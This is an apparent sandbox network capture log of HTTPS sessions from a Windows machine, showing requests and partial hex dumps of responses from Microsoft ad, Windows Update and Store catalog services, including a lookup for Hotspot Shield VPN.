Port

Process

88 192.168.2.4 49855 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:39 UTC 1677 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20220526T114639Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=0d4a28fbeae64e4f954f41b00c93294f&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1531773&metered=false&nettype=ethernet&npid=sc-
338388&oemName=dchdpw%2C%20Inc.&oemid=dchdpw%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
dchdpw7%2C1&tl=2&tsu=1531773&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32089&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAbwrbtMyfWYS5LvcRdrN/YSSKm7T30Or
y91THhxVtQ/u1C3XsQR1j/Gul4xhrmxkJ/gRWPmUWRRJjWEonDG3ItND8f5ZyKAKn68VfEM82j6MiB1nRrIPc5mcvr
5ppuO3MEO3yfUDxhgPzM1q2X7H6CJOKTrKEEZtndFDkdCLWN6yKLyBxwSDWaxcfmhc5AJhQpozniuJsgoCeIUxhqim
nMEUPBEwYC5+lMDPYZgC/+mKsowcqL91dribsrM4GGSYJREfBbXzYBwh5TqEpzN6Vh2rv4EyZqbMSZduX6HxpSlHnr
UoW4HxeMqwv68R+xcUcl1lb/NhkRpvR55/LtRTIwUDZgAACOXYsDpcd+FbsAEZgFyCIJf7AMEhmVsQI7CJNBsx1FsB
JJExFGguvnAOi/SHHvVJc7NQpodB2j2TLPIPcTKqICi4CkorOVsbK3xP99Z77/WJ7w05fvan2XtdlE/Wrbq1hleWA8
B0ZCDjwWcDoFY29FzLlvOQ7Xw6e1O1qmhwu6Cm0OtaITUgO7yEuNTaDXgN7PtVHWPLnsjJ7bX2wLxnK7dgderuA1hb
9mCWnCI6bNR2raNpGrSf0um26og0EJ+KGevRUMPmw0xQjHDj7I4HAHkzFf1JtmkcJHatploP8ydbeo/dzo3lITpE/X
41fmjCli5hr2cGbm4p8Iu/V999IoLolvTkdA/lmtU+P8uUpgG+cIDvnARNwdPuMZxY+4Fm5jRqA9WGS+Ty+SvD7gIo
sOI1Id4Yu4ptiN6H6tggaL5FDPRlWp/JxBsmqk8WeUMp7kMRXgCrAKJmqB3avzo2t9lmP232tukV4Pve99JdL7O+0+
iLrUblDLcMSDEwqGtEMfCD/qCmplrMxiqonJvk0NMCVHEe4HMFFlRozQM0NfbGHSFLnUinvmkGSuP3/++asME0vSlN
8fAzaP/aAQ==&p=
Cache-Control: no-cache
MS-CV: Uk/T/jIkQkanI6jT.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-05-26 11:46:39 UTC 1715 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 4487
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: sg7pqGeYcH4aXHCmQITa0ZVDvi1s+x+5DmCJfE9nudqcZCtIvW8yUX/EKrL+UhKzNV/ZXWyFmOLSsa0
Ls7PRq9eTs5Y5zKTLTF/ti+O8QXqYlL/qDT5HiloBcZoyYGXPWBa8IJBOCZ6XkJyeRydCk1araun/m1Tp8Ot2/Z2hV
iX0EBgekQi+RUrP3g0j/6VMZkkb02BsRpYzy0PkhpO8fOrD2CVtU+TmkkolxIfQ9c6jL3Tv+gdeqqmOSCWdxDT9djh
Z5oRZDqJX4ADl+c891OOZd47zkbSpT2Ej5H3NKKeRmV+BwkPNzWHn3hKT3wwiaHDyi7ej31kuk9/kp2slMQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:46:39 GMT
Connection: close

2022-05-26 11:46:39 UTC 1716 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 
78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":
{\"t

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

89 192.168.2.4 49856 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:39 UTC 1715 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114624Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:39 UTC 1715 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 60e0071f-e95b-406c-83f9-9acbaf69959c
Date: Thu, 26 May 2022 11:46:39 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

9 192.168.2.4 49726 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:29 UTC 86 OUT GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-0
7f5250c8c21?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-26 11:45:29 UTC 87 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 11182
Content-Type: image/png
Last-Modified: Thu, 30 Sep 2021 03:30:18 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyQTA4MkRBQUM"
MS-CV: Yyzz1YfTlk6thXph.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:29 UTC 87 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 2b 
75 49 44 41 54 78 01 d4 97 07 6e ec 3a 0c 45 05 60 c4 f4 be 84 d7 d3 7b dd ff be 3e 43 c3 77 e4 cf 70 28 ca 4a 03 0e 08 
0e 33 55 07 97 76 d2 22 ff 04 79 84 de e0 17 d1 ef 25 6b 68 a2 fc 19 9a bc fe 97 d6 fe 72 ad e6 df 17 e3 6f 25 b4 c6 fc 11 
7e c7 a0 09 69 a5 a4 5f 30 04 42 56 98 80 8c d2 8a ef e6 38 6f d8 93 0d e6 18 c8 9f 30 51 ac 33 fd 9d b9 d0 7a b5 bf 41 
d5 ff f5 10 dc 04 f4 e4 f5 90 15 f7 e8 71 8e e8 bf 28 e3 d7 3e f6 44 fe 0b 2a fc ad 49 48 0f 13 95 24 e9 8e e6 66 45 4a be 
3f be b3 2a 88 51 3b 33 71 8c 18 df 0d 58 7f cd 10 d3 1a 9d 99 9c 7c 2c fa 13 db 2d b6 fa fb c3 f0 b1 a7 2a 49 1d ae 31 ef 
ec 66 f3 64 b1 6c 04 6e 04 9e e8 87 e5 10 73 bc 
Data Ascii: PNGIHDRh_+uIDATxn:E`{>Cwp(J3Uv"y%khro%~i_0BV8o0Q3zAq(>D*IH$fEJ?*Q;3qX|,-*I1fdlns

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

90 192.168.2.4 49857 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:39 UTC 1721 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&bSrc=i.t&time=20220526T114625Z&asid=8a797e6ed978405692c4acbf4650873f&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:39 UTC 1721 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 7a6305fe-c8f7-4dae-b292-fc0b558998e6
Date: Thu, 26 May 2022 11:46:39 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

91 192.168.2.4 49858 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:40 UTC 1721 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:40 UTC 1722 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 1886ca1a-f6bd-46e6-a985-b772013121a5
MS-RequestId: 92657d63-1519-4935-95ad-c6de8d6622ea
MS-CV: jFJPvmbr/0+0IP1Y.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:40 GMT
Connection: close
Content-Length: 35877
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2022-05-26 11:46:40 UTC 1722 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:40 UTC 1738 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:40 UTC 1754 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

92 192.168.2.4 49859 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:40 UTC 1757 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=6F71D7A7.HotspotShieldFreeVPN_nsbqstbb
9qxb6&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&
scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 1B76BNybbUWNHzSO.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-26 11:46:40 UTC 1758 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 May 2022 11:46:39 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 19174937-174c-4ace-82ff-acdec77ebe4f
MS-RequestId: d61f93ff-7f6a-493c-b7bf-4689b73d24e0
MS-CV: 1B76BNybbUWNHzSO.0.2.4.1057842727.2849654959.1.1057842727.1742725515.0
X-Content-Type-Options: nosniff
MS-ServerId: cf5cdc-7nvxz
Region: neu
Node: aks-bigcatrpns-32351330-vmss00003x
MS-DocumentVersions: 9WZDNCRDFNG7|3708

2022-05-26 11:46:40 UTC 1758 IN Data Raw: 62 66 31 63 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 44 46 4e 47 37 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 32 37 54 32 31 3a 32 36 3a 30 31 2e 32 32 30 37 33 32 
35 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 37 35 35 37 30 30 32 39 37 33 
30 31 31 35 32 30 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 33 31 38 33 37 22 2c 
Data Ascii: bf1c{"BigIds":["9WZDNCRDFNG7"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-27T21
:26:01.2207325Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3067557002973011520","EISListingIdentifier
":null,"BackgroundColor":"#031837",

2022-05-26 11:46:40 UTC 1762 IN Data Raw: 34 64 65 37 38 64 62 39 2d 32 64 31 34 2d 34 31 64 63 2d 38 34 65 30 2d 65 34 34 38 37 38 37 65 39 37 32 
65 2e 37 33 35 61 62 39 30 64 2d 35 38 31 37 2d 34 35 36 38 2d 39 64 62 64 2d 31 65 31 31 61 66 33 62 62 61 39 31 22 
2c 22 57 69 64 74 68 22 3a 32 31 36 30 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 35 36 
35 36 39 38 34 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 33 31 38 33 37 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 
69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 37 35 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 
22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 
Data Ascii: 4de78db9-2d14-41dc-84e0-e448787e972e.735ab90d-5817-4568-9dbd-1e11af3bba91","Width":2160},{"FileId"
:"2000000000056569843","EISListingIdentifier":null,"BackgroundColor":"#031837","Caption":"","FileSizeInBytes":
12751,"ForegroundColor":"","Height":300,"ImageP
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2022-05-26 11:46:40 UTC 1766 IN Data Raw: 47 65 74 20 69 74 20 74 6f 64 61 79 21 5c 72 5c 6e 5c 72 5c 6e 5c 72 5c 6e 48 6f 74 73 70 6f 74 20 53 68 69 
65 6c 64 20 56 50 4e 20 50 72 65 6d 69 75 6d 20 73 65 72 76 69 63 65 20 69 6e 63 6c 75 64 65 73 3a 5c 72 5c 6e 5c 72 
5c 6e 2d 20 37 2d 64 61 79 20 66 72 65 65 20 74 72 69 61 6c 3a 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 3b 20 6e 
6f 20 63 6f 6d 6d 69 74 6d 65 6e 74 3b 20 63 61 6e 63 65 6c 20 61 6e 79 74 69 6d 65 2e 5c 72 5c 6e 2d 20 50 61 79 6d 6
5 6e 74 20 77 69 6c 6c 20 62 65 20 63 68 61 72 67 65 64 20 74 6f 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 53 74 6
f 72 65 20 61 63 63 6f 75 6e 74 20 61 74 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 6f 66 20 70 75 72 63 68 61 73 65 2e 5
c 72 5c 6e 2d 20 53 75 62 73 63 72 69 70 74 69 6f 6e 20 61 75 74 
Data Ascii: Get it today!\r\n\r\n\r\nHotspot Shield VPN Premium service includes:\r\n\r\n- 7-day free trial: free of charge; no 
commitment; cancel anytime.\r\n- Payment will be charged to your Microsoft Store account at confirmation of purc
hase.\r\n- Subscription aut

2022-05-26 11:46:40 UTC 1770 IN Data Raw: 65 64 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 50 72 6f 64 75 63 74 54 79 70 65 22 3a 22 41 70 70 6c 69 
63 61 74 69 6f 6e 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 44 61 74 61 22 3a 7b 22 50 61 73 73 65 64 56 61 6c 69 64 61 
74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 52 65 76 69 73 69 6f 6e 49 64 22 3a 22 32 30 32 32 2d 30 34 2d 32 37 54 32 31 
3a 32 36 3a 35 39 2e 33 39 32 38 31 31 36 5a 7c 7c 2e 7c 7c 62 33 36 63 63 35 34 61 2d 36 66 32 65 2d 34 32 61 62 2d 
61 37 62 37 2d 35 32 30 62 61 64 33 62 65 66 30 66 7c 7c 31 31 35 32 39 32 31 35 30 35 36 39 34 33 38 30 31 37 39 7c 
7c 4e 75 6c 6c 7c 7c 66 75 6c 6c 72 65 6c 65 61 73 65 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 55 72 69 
22 3a 22 22 7d 2c 22 4d 65 72 63 68 61 6e 64 69 7a 69 6e 67 54 61 67 
Data Ascii: edSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-04-
27T21:26:59.3928116Z||.||b36cc54a-6f2e-42ab-a7b7-520bad3bef0f||1152921505694380179||Null||fullrelease","Valid
ationResultUri":""},"MerchandizingTag

2022-05-26 11:46:40 UTC 1774 IN Data Raw: 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 
43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 
22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 
22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 
2c 22 4d 4d 22 2c 22 4e 41 22 2c 22 4e 52 22 2c 22 4e 50 22 2c 22 4d 56 22 2c 22 4d 4c 22 2c 22 4e 43 22 2c 22 4e 49 2
2 2c 22 4e 45 22 2c 22 4e 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 
22 2c 22 52 45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 
Data Ascii: "BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG
","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF
","PW","PS","PA","PG","PY","RE","RW","BL","MF",

2022-05-26 11:46:40 UTC 1778 IN Data Raw: 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 
7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 44 46 4e 47 37 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 
22 3a 22 63 65 30 33 61 36 62 32 2d 33 36 36 64 2d 34 33 64 34 2d 38 35 61 34 2d 30 37 33 65 63 65 39 61 63 61 36 39 
22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 61 37 36 30 37 33 30 66 2d 66 37 37 31 2d 34 64 33 66 2d 62 65 
34 36 2d 66 61 66 62 65 31 35 66 62 39 37 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 
46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 
78 62 36 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 
Data Ascii: ownloadUris":null,"FulfillmentData":{"ProductId":"9WZDNCRDFNG7","WuBundleId":"ce03a6b2-366d-43d4-8
5a4-073ece9aca69","WuCategoryId":"a760730f-f771-4d3f-be46-fafbe15fb97e","PackageFamilyName":"6F71D7A
7.HotspotShieldFreeVPN_nsbqstbb9qxb6","SkuId":"0010","Con

2022-05-26 11:46:40 UTC 1782 IN Data Raw: 76 69 64 65 72 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 
6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 32 31 34 32 37 39 34 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 
65 49 6e 42 79 74 65 73 22 3a 35 30 33 39 37 31 38 34 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 4d 73 69 
78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 7
4 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 4d 61 69 6e 50 61 63 6b 61 
67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 
6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 
Data Ascii: vider"],"ExperienceIds":[],"MaxDownloadSizeInBytes":22142794,"MaxInstallSizeInBytes":50397184,"Pac
kageFormat":"Msix","PackageFamilyName":"6F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6","MainPackageFam
ilyNameForDlc":null,"PackageFullName":"6F71D7A7.HotspotSh

2022-05-26 11:46:40 UTC 1786 IN Data Raw: 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 
